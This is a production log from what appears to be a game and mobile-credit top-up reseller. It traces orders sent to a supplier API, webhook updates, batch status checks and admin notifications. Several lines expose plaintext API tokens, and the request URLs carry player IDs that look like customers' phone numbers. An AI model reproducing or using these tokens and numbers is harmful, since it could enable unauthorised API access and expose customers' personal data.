[2026-03-24 13:14:39] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=ae7948b6-d984-4ffe-bbc0-c2032be24c98&Player_ID=471156","has_body":false} 
[2026-03-24 13:14:40] production.INFO: Operation sent successfully {"operation_id":163575,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Hup7-1774347279","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo","notes":[],"created_at":"2026-03-24 13:14:40"}},"processed_data":{"order_number":"ORD-Hup7-1774347279","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo"}} 
[2026-03-24 13:14:42] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Hup7-1774347279","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 13:14:42] production.INFO: Processed webhook data (normalized) {"id":"ORD-Hup7-1774347279","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 13:14:42] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:14:42] production.INFO: SendAcceptReject: Notification queued {"user_id":107,"notification_type":"order_approved","reference_id":178652} 
[2026-03-24 13:14:42] production.INFO: Order updated successfully. Order ID: 178652, Status: completed  
[2026-03-24 13:14:42] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Hup7-1774347279","status":"completed","codes_count":0} 
[2026-03-24 13:14:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 13:15:04] production.INFO: Executing GetProducts task...  
[2026-03-24 13:15:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 13:15:04] production.INFO: Executing GetProducts task...  
[2026-03-24 13:15:06] production.INFO: async() رجع: true  
[2026-03-24 13:15:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 13:15:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 13:15:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 13:15:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 13:15:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 13:15:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 13:15:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 13:15:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 13:15:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 13:15:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 13:15:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 13:15:25] production.INFO: Constructing job for order: 178653  
[2026-03-24 13:15:28] production.INFO: Handling job for order: 178653  
[2026-03-24 13:15:28] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:15:28] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:15:28] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/813/params?qty=1&uuid=3ca22912-957c-4bb9-81b4-32ae4c21f43f&Player_ID=0938143418  
[2026-03-24 13:15:28] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/813/params?qty=1&uuid=3ca22912-957c-4bb9-81b4-32ae4c21f43f&Player_ID=0938143418","has_body":false} 
[2026-03-24 13:15:29] production.INFO: Operation sent successfully {"operation_id":163576,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-s4Zr7-1774347329","amount":390.67572000000001253283699043095111846923828125,"status":"processing","product":"370.19 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 13:15:29"}},"processed_data":{"order_number":"ORD-s4Zr7-1774347329","amount":390.67572000000001253283699043095111846923828125,"status":"processing","product":"370.19 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 13:15:46] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"700.0","mainamount":"700","operation_number":"158172744","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php0dpagu7gsl46e08juDn"}},"user_id":1718} 
[2026-03-24 13:15:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 13:15:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 13:15:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 13:15:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 13:15:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 13:15:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 13:15:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 13:15:47] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 13:15:47] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18610,"user_id":1718,"amount":700.0,"admins_notified":7} 
[2026-03-24 13:16:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"vmJclEvpY301fHuGNukPMFL5rTCcBNop","execution_time":"2026-03-24 13:16:02"} 
[2026-03-24 13:16:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"vmJclEvpY301fHuGNukPMFL5rTCcBNop","execution_time":"2026-03-24 13:16:02","total_operations":1,"sites_count":1} 
[2026-03-24 13:16:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"vmJclEvpY301fHuGNukPMFL5rTCcBNop","execution_time":"2026-03-24 13:16:02","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-s4Zr7-1774347329"]} 
[2026-03-24 13:16:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"vmJclEvpY301fHuGNukPMFL5rTCcBNop","execution_time":"2026-03-24 13:16:02","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 13:16:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"vmJclEvpY301fHuGNukPMFL5rTCcBNop","execution_time":"2026-03-24 13:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 13:16:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"vmJclEvpY301fHuGNukPMFL5rTCcBNop","execution_time":"2026-03-24 13:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4Zr7-1774347329","operation_id":163576,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 13:16:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"vmJclEvpY301fHuGNukPMFL5rTCcBNop","execution_time":"2026-03-24 13:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4Zr7-1774347329","operation_id":163576,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 13:16:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"vmJclEvpY301fHuGNukPMFL5rTCcBNop","execution_time":"2026-03-24 13:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4Zr7-1774347329","operation_id":163576,"count":1} 
[2026-03-24 13:16:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"vmJclEvpY301fHuGNukPMFL5rTCcBNop","execution_time":"2026-03-24 13:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4Zr7-1774347329","operation_id":163576,"count":1} 
[2026-03-24 13:16:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"vmJclEvpY301fHuGNukPMFL5rTCcBNop","execution_time":"2026-03-24 13:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4Zr7-1774347329","operation_id":163576,"user_id":32,"notification_type":"order_approved","reference_id":178653} 
[2026-03-24 13:16:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"vmJclEvpY301fHuGNukPMFL5rTCcBNop","execution_time":"2026-03-24 13:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4Zr7-1774347329","operation_id":163576,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 13:16:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"vmJclEvpY301fHuGNukPMFL5rTCcBNop","execution_time":"2026-03-24 13:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4Zr7-1774347329","operation_id":163576,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 13:16:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"vmJclEvpY301fHuGNukPMFL5rTCcBNop","execution_time":"2026-03-24 13:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4Zr7-1774347329","operation_id":163576,"processed":1,"errors":0} 
[2026-03-24 13:16:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"vmJclEvpY301fHuGNukPMFL5rTCcBNop","execution_time":"2026-03-24 13:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4Zr7-1774347329","operation_id":163576,"processed":1,"errors":0} 
[2026-03-24 13:16:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"vmJclEvpY301fHuGNukPMFL5rTCcBNop","execution_time":"2026-03-24 13:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-s4Zr7-1774347329","operation_id":163576} 
[2026-03-24 13:16:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 32  
[2026-03-24 13:17:44] production.INFO: Constructing job for order: 178654  
[2026-03-24 13:17:47] production.INFO: Constructing job for order: 178655  
[2026-03-24 13:17:47] production.INFO: Handling job for order: 178654  
[2026-03-24 13:17:47] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:17:47] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:17:47] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/591/params?qty=15000&uuid=38956a61-81b5-4fc0-a95a-659fa48ef8d4&Player_ID=88321917  
[2026-03-24 13:17:47] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/591/params?qty=15000&uuid=38956a61-81b5-4fc0-a95a-659fa48ef8d4&Player_ID=88321917","has_body":false} 
[2026-03-24 13:17:48] production.INFO: Operation sent successfully {"operation_id":163577,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-u7eYpO-1774347468","amount":1.4676929999999999143511786314775235950946807861328125,"status":"processing","product":"Yoho Amount","game":"Yoho","notes":[],"created_at":"2026-03-24 13:17:48"}},"processed_data":{"order_number":"ORD-u7eYpO-1774347468","amount":1.4676929999999999143511786314775235950946807861328125,"status":"processing","product":"Yoho Amount","game":"Yoho"}} 
[2026-03-24 13:17:48] production.INFO: Handling job for order: 178655  
[2026-03-24 13:17:48] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:17:48] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:17:48] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/572/params?qty=2000&uuid=c64cb138-b771-4af9-ad5d-0ce6d7f25094&Player_ID=471156  
[2026-03-24 13:17:48] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/572/params?qty=2000&uuid=c64cb138-b771-4af9-ad5d-0ce6d7f25094&Player_ID=471156","has_body":false} 
[2026-03-24 13:17:49] production.INFO: Operation sent successfully {"operation_id":163578,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-aUuXb-1774347468","amount":1.8182636000000000908727315618307329714298248291015625,"status":"processing","product":"Dimo Amount","game":"Dimo","notes":[],"created_at":"2026-03-24 13:17:49"}},"processed_data":{"order_number":"ORD-aUuXb-1774347468","amount":1.8182636000000000908727315618307329714298248291015625,"status":"processing","product":"Dimo Amount","game":"Dimo"}} 
[2026-03-24 13:17:55] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-aUuXb-1774347468","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 13:17:55] production.INFO: Processed webhook data (normalized) {"id":"ORD-aUuXb-1774347468","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 13:17:55] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:17:55] production.INFO: SendAcceptReject: Notification queued {"user_id":107,"notification_type":"order_approved","reference_id":178655} 
[2026-03-24 13:17:55] production.INFO: Order updated successfully. Order ID: 178655, Status: completed  
[2026-03-24 13:17:55] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-aUuXb-1774347468","status":"completed","codes_count":0} 
[2026-03-24 13:17:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 13:18:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"fHmyNO1ksKjVxzrORnddo563r9BWTcGg","execution_time":"2026-03-24 13:18:04"} 
[2026-03-24 13:18:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"fHmyNO1ksKjVxzrORnddo563r9BWTcGg","execution_time":"2026-03-24 13:18:04","total_operations":1,"sites_count":1} 
[2026-03-24 13:18:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"fHmyNO1ksKjVxzrORnddo563r9BWTcGg","execution_time":"2026-03-24 13:18:04","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-u7eYpO-1774347468"]} 
[2026-03-24 13:18:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"fHmyNO1ksKjVxzrORnddo563r9BWTcGg","execution_time":"2026-03-24 13:18:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:18:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"fHmyNO1ksKjVxzrORnddo563r9BWTcGg","execution_time":"2026-03-24 13:18:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 13:18:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fHmyNO1ksKjVxzrORnddo563r9BWTcGg","execution_time":"2026-03-24 13:18:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u7eYpO-1774347468","operation_id":163577} 
[2026-03-24 13:18:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"fHmyNO1ksKjVxzrORnddo563r9BWTcGg","execution_time":"2026-03-24 13:18:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u7eYpO-1774347468","operation_id":163577,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 13:18:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"fHmyNO1ksKjVxzrORnddo563r9BWTcGg","execution_time":"2026-03-24 13:18:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u7eYpO-1774347468","operation_id":163577,"processed":0,"errors":0} 
[2026-03-24 13:18:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"fHmyNO1ksKjVxzrORnddo563r9BWTcGg","execution_time":"2026-03-24 13:18:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u7eYpO-1774347468","operation_id":163577} 
[2026-03-24 13:18:16] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"680.0","mainamount":"680","operation_number":"158176429","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpc0i9dhtpkuf72xqdKWg"}},"user_id":212} 
[2026-03-24 13:18:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 13:18:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 13:18:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 13:18:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 13:18:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 13:18:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 13:18:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 13:18:19] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 13:18:19] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18611,"user_id":212,"amount":680.0,"admins_notified":7} 
[2026-03-24 13:18:45] production.INFO: Constructing job for order: 178656  
[2026-03-24 13:18:46] production.INFO: Handling job for order: 178656  
[2026-03-24 13:18:46] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:18:46] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:18:46] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/810/params?qty=1&uuid=3aecf958-efde-406b-b635-af5b390ea284&Player_ID=0931697241  
[2026-03-24 13:18:46] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/810/params?qty=1&uuid=3aecf958-efde-406b-b635-af5b390ea284&Player_ID=0931697241","has_body":false} 
[2026-03-24 13:18:47] production.INFO: Operation sent successfully {"operation_id":163579,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-63tmXMp-1774347526","amount":253.683439999999990277501638047397136688232421875,"status":"processing","product":"240.38 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 13:18:47"}},"processed_data":{"order_number":"ORD-63tmXMp-1774347526","amount":253.683439999999990277501638047397136688232421875,"status":"processing","product":"240.38 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 13:18:59] production.INFO: Constructing job for order: 178657  
[2026-03-24 13:19:02] production.INFO: Handling job for order: 178657  
[2026-03-24 13:19:02] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:19:02] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:19:02] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/32/params?qty=1&uuid=a56de6f5-8f02-4ad9-99c6-013a31c363bd&Player_ID=0931697241  
[2026-03-24 13:19:02] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/32/params?qty=1&uuid=a56de6f5-8f02-4ad9-99c6-013a31c363bd&Player_ID=0931697241","has_body":false} 
[2026-03-24 13:19:02] production.INFO: Operation sent successfully {"operation_id":163580,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-uP2R-1774347542","amount":24.359329999999999927240423858165740966796875,"status":"processing","product":"23.08 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 13:19:02"}},"processed_data":{"order_number":"ORD-uP2R-1774347542","amount":24.359329999999999927240423858165740966796875,"status":"processing","product":"23.08 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 13:20:02] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"998.0","mainamount":"998","operation_number":"600430781696","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpm318mirc8ptadbOwKpP"}},"user_id":620} 
[2026-03-24 13:20:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:02"} 
[2026-03-24 13:20:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:02","total_operations":3,"sites_count":2} 
[2026-03-24 13:20:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-u7eYpO-1774347468"]} 
[2026-03-24 13:20:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 13:20:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 13:20:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u7eYpO-1774347468","operation_id":163577,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 13:20:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u7eYpO-1774347468","operation_id":163577,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 13:20:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u7eYpO-1774347468","operation_id":163577,"count":1} 
[2026-03-24 13:20:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u7eYpO-1774347468","operation_id":163577,"count":1} 
[2026-03-24 13:20:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u7eYpO-1774347468","operation_id":163577,"user_id":1032,"notification_type":"order_approved","reference_id":178654} 
[2026-03-24 13:20:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u7eYpO-1774347468","operation_id":163577,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 13:20:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u7eYpO-1774347468","operation_id":163577,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 13:20:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u7eYpO-1774347468","operation_id":163577,"processed":1,"errors":0} 
[2026-03-24 13:20:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u7eYpO-1774347468","operation_id":163577,"processed":1,"errors":0} 
[2026-03-24 13:20:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u7eYpO-1774347468","operation_id":163577,"orders_count":2,"order_ids":["ORD-63tmXMp-1774347526","ORD-uP2R-1774347542"]} 
[2026-03-24 13:20:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u7eYpO-1774347468","operation_id":163577} 
[2026-03-24 13:20:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-u7eYpO-1774347468","operation_id":163577,"orders_count":2} 
[2026-03-24 13:20:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uP2R-1774347542","operation_id":163580,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 13:20:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uP2R-1774347542","operation_id":163580,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 13:20:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uP2R-1774347542","operation_id":163580,"count":2} 
[2026-03-24 13:20:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uP2R-1774347542","operation_id":163580,"count":2} 
[2026-03-24 13:20:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uP2R-1774347542","operation_id":163580,"user_id":43,"notification_type":"order_approved","reference_id":178656} 
[2026-03-24 13:20:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uP2R-1774347542","operation_id":163580,"user_id":43,"notification_type":"order_approved","reference_id":178657} 
[2026-03-24 13:20:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uP2R-1774347542","operation_id":163580,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 13:20:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uP2R-1774347542","operation_id":163580,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 13:20:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"Mdr4IumiDWqPqn78ie2ppCrK6aa8p7UW","execution_time":"2026-03-24 13:20:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-uP2R-1774347542","operation_id":163580,"processed":2,"errors":0} 
